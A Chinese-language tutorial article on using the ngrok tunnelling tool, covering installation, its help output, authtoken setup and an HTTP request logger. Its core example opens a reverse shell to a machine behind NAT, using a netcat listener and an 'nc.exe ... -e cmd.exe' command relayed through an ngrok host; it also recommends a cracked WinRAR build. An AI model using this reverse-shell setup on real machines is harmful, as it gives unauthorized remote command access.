频道栏目
首页 > 资讯 > 工具软件 > 正文

ngrok一款网络安全的神器

16-08-20        来源:[db:作者]  
收藏   我要投稿

双方都是内网的反弹shell工具。

Ngrok的下载地址:https://ngrok.com/download

 

 

如果你是MAC OS X或者linux可以按照以下步骤安装。

../20220623/file.html

 

 

然后查看他支持的命令

$ ./ngrokhelp

如果你是 windows下可以按照以下步骤安装

 

 

下载下了后选中文件,右键解压到当前文件夹。

什么,你右键菜单没有这个选项。

那么请安装《winrar烈火汉化破解版》。

然后有个窗口一闪而过。

之后会出现这个:

 

 

然后按下 微软徽标键+R (PS:微软徽标键就是 在你的键盘上Ctrl和Alt中间的那个键。)

输入cmd然后回车。

 

 

打开cmd后,将刚才解压出来的ngrok.exe拖入。

然后再输入help 回车。

 

 

可以看到它支持很多命令。

NAME:

ngrok - tunnel local ports to public URLs and inspect traffic

DESCRIPTION:

ngrok exposes local networked services behinds NATs and firewalls to the

public internet over a secure tunnel. Share local websites, build/test

webhook consumers and self-host personal services.

Detailed help for each command is available with 'ngrok help'.

Open http://localhost:4040 for ngrok's web interface to inspect traffic.

EXAMPLES:

ngrok http 80 #secure public URL for port 80 web server

ngrok http -subdomain=baz 8080 #port 8080 available at baz.ngrok.io

ngrok http foo.dev:80 #tunnel to host:port instead of localhost

ngrok tcp 22 #tunnel arbitrary TCP traffic to port 22

ngrok tls -hostname=foo.com 443 #TLS traffic for foo.com to port 443

ngrok start foo bar baz #start tunnels from the configuration file

VERSION:

2.1.3

AUTHOR:

inconshreveable -

COMMANDS:

authtoken save authtoken toconfiguration file

credits prints author andlicensing information

http start an HTTP tunnel

start start tunnels by namefrom the configuration file

tcp start a TCP tunnel

tls start a TLS tunnel

update update ngrok to thelatest version

version print the versionstring

help Shows a list ofcommands or help for one command

使用前先要去注册个账号,

地址:https://dashboard.ngrok.com/user/login

不要告诉我你不会注册账号。

 

 

先执行认证。

Windows图:

 

 

会提示你Authtoken saved toconfiguration file:认证文件存到哪里。

Linux图:

 

 

(PS:Authtoken懒得打码了,请不要搞事)

认证Token导入好后,开始讲内网穿透的部分。

./ngrok tcp 9999 **获得一个公网地址,如下图。

 

 

ngrok 是不能后台运行的,所以我们要借助screen(用法百度)实现后台运行。

然后再nc -vv -l -p 9999

然后目标机器(内网的windos笔记本)执行

nc.exe -vv 0.tcp.ngrok.io 15996 -e c:\Windows\System32\cmd.exe

0. tcp.ngrok.io 15996 为刚才利用ngrok 得到的公网地址,如下图

 

 

然后就反弹回来shell。(PS:由于作者手中没有内网的服务器所以没截图)

下面讲内网机器做HTTP请求记录器:

只需要执行ngrok.exe http 80就可以了。

 

 

会发现Tunnel Status online时

Forwarding http://www.2cto.com -> localhost:80

Forwarding https://www.2cto.com -> localhost:80

访问后会有记录。

 

 

http://localhost:4040是在线控制台,可以看请求的详细信息。

 

 

如果你在80端口搭建了HTTP服务器,那么他就不是显示这个页面:

 

 

而是将流量转发到HTTP服务上,访问的是自己内网的HTTP页面。

相关TAG标签
上一篇:Java使用JDBC连接mySQL数据库小例子
下一篇:还不买SSD?黑客凭硬盘震动频率盗情报
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站